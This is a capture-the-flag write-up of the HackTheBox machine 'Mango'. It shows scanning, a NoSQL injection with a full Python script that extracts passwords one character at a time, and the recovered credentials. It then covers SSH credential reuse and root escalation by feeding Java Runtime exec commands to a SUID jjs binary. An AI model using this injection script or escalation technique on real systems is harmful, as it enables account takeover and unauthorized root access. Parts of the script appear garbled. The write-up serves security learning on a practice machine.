Mango – HackTheBox WriteUp

post image


Mango just retired today. I had lots of fun solving it and I finally learned about NoSQL injections. Its IP address is ‘’ and I added it to ‘/etc/hosts’ as ‘mango.htb’. Without further ado, let’s jump right in!

Scanning & Sub-Domain Enum

As always, a light nmap scan was enough to get me started:

root@fury-battlestation:~/htb/blog/mango# nmap -O -sV mango.htb -oN scan.txt
Starting Nmap 7.80 ( ) at 2019-12-29 11:45 EST
Nmap scan report for mango.htb (
Host is up (0.12s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 47.06 seconds

When I tried accessing port 80, I got a 403 error:

However, port 443 returned a funny clone of Google called ‘Mango’:

Before testing this app for vulnerabilities, I mad sure the HTTPS certificate couldn’t be used to find other domains:

root@fury-battlestation:~/htb/blog/mango# nmap --script=ssl-cert -p 443 mango.htb
Starting Nmap 7.80 ( ) at 2019-12-29 11:50 EST
Nmap scan report for mango.htb (
Host is up (0.12s latency).

443/tcp open  https
| ssl-cert: Subject: Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

The script discovered a sub-domain, so I tied accessing it. However, the page was identical to the one I got before:

After searching round for a bit, I realized I haven’t accessed the new sub-domain via HTTP yet. I did that and discovered a new sub-domain:

Exploiting MongoDB

Since the machine name is Mango, I though that the backend database engine is almost certainly MongoDB. I used this cheatsheet to test for a possible NoSQL injection, and I found one :). I then tried logging in with multiple usernames and found that ‘mango’ was a valid one. The script below gave me the password for that user:

import requests
import sys
import hashlib
import string
import progressbar

url = ""
login = "login"
username = "mango"

alphabet = string.printable.replace("*", "").replace("+", "").replace(".", "").replace("?", "").replace("|", "")
pwd = ""

def isPartialPassword(pwd):
	r =, data={'login': 'login', 'username': username, 'password[$regex]': "^" + pwd}, allow_redirects=False)
	return r.status_code == 302

def isFullPassword(pwd):
	r =, data={'login': 'login', 'username': username, 'password': pwd}, allow_redirects=False)
	return r.status_code == 302

while not isFullPassword(pwd):
	print("Searching for char...")
	bar = progressbar.ProgressBar(max_value=len(alphabet))
	for ch in alphabet:
		if isPartialPassword(pwd + ch):
			pwd += ch
			print("New password: {}".format(pwd))

print("Password for {}: {}".format(username, pwd))

After letting it run for a few minutes, I got the user’s password:

root@fury-battlestation:~/htb/blog/mango# python 
Searching for char...
 16% (16 of 95) |#######                                    | Elapsed Time: 0:00:07 ETA:   0:00:31
New password: h3mXK8RhU~f{]f5
Searching for char...
 44% (42 of 95) |###################                        | Elapsed Time: 0:00:23 ETA:   0:00:28
New password: h3mXK8RhU~f{]f5H
Password for mango: h3mXK8RhU~f{]f5H

I used ‘h3mXK8RhU~f{]f5H’ to log in to the application and I got the following page:

I tried seeing if there is any user named ‘admin’, and there was. His password might come in handy, so I used the same script to get his password (I just changed the username variable from “mango” to “admin”):

root@fury-battlestation:~/htb/blog/mango# sed -i 's/username = "mango"/username = "admin"/g' 
root@fury-battlestation:~/htb/blog/mango# python 
Searching for char...
 29% (28 of 95) |############                               | Elapsed Time: 0:00:14 ETA:   0:00:38
New password: t
New password: t9KcS3>!0B#
Searching for char...
  1% (1 of 95) |                                            | Elapsed Time: 0:00:00 ETA:   0:01:30
New password: t9KcS3>!0B#2
Password for admin: t9KcS3>!0B#2

However, the admin page looked exactly the same:

Getting user.txt

After a bit of playing around, I tried to log in with SSH using the website credentials. It worked, but only for the mango user:

root@fury-battlestation:~/htb/blog/mango# ssh mango@mango.htb
mango@mango.htb;s password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:
 * Management:
 * Support:

 System information disabled due to load higher than 1.0

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

122 packages can be updated.
18 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Sun Dec 29 17:19:49 2019 from
mango@mango:~$ ls ~

There was no ‘user.txt’ file, so I enumerated the users on the machine:

mango@mango:~$ ls -l /home
total 8
drwxr-xr-x 2 admin admin 4096 Sep 30 03:20 admin
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 mango

There was an user called admin, so I tried using su to pivot to his account (I used admin’s web platform password):

mango@mango:~$ su -l admin
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/admin$ wc -c user.txt 
33 user.txt

The user proof starts with ’79’ 😉

Exploiting jjs to get root

Once I submitted the user proof, I started enumerating the machine again. While reading through the SUID binaries, one stood out:

admin@mango:/home/admin$ find / -perm -4000 2> /dev/null

I didn’t know what ‘jjs’ was, so I searched Google and I found the following explanation on Oracle’s site:

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Helpful, as always : . Fortunately, I also found the jjs binary on GTFOBins. The basic idea is that an attacker can execute a specially crafted Java program that executes bash commands.
admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()
jjs> admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /hdmin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /home/admin/yakuhito').waitFor()
jjs> admin@mango:/home/admin$ wc -c /home/admin/yakuhito 
33 /home/admin/yakuhito

The first two characters of the root proof are ‘8a’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on April 18, 2020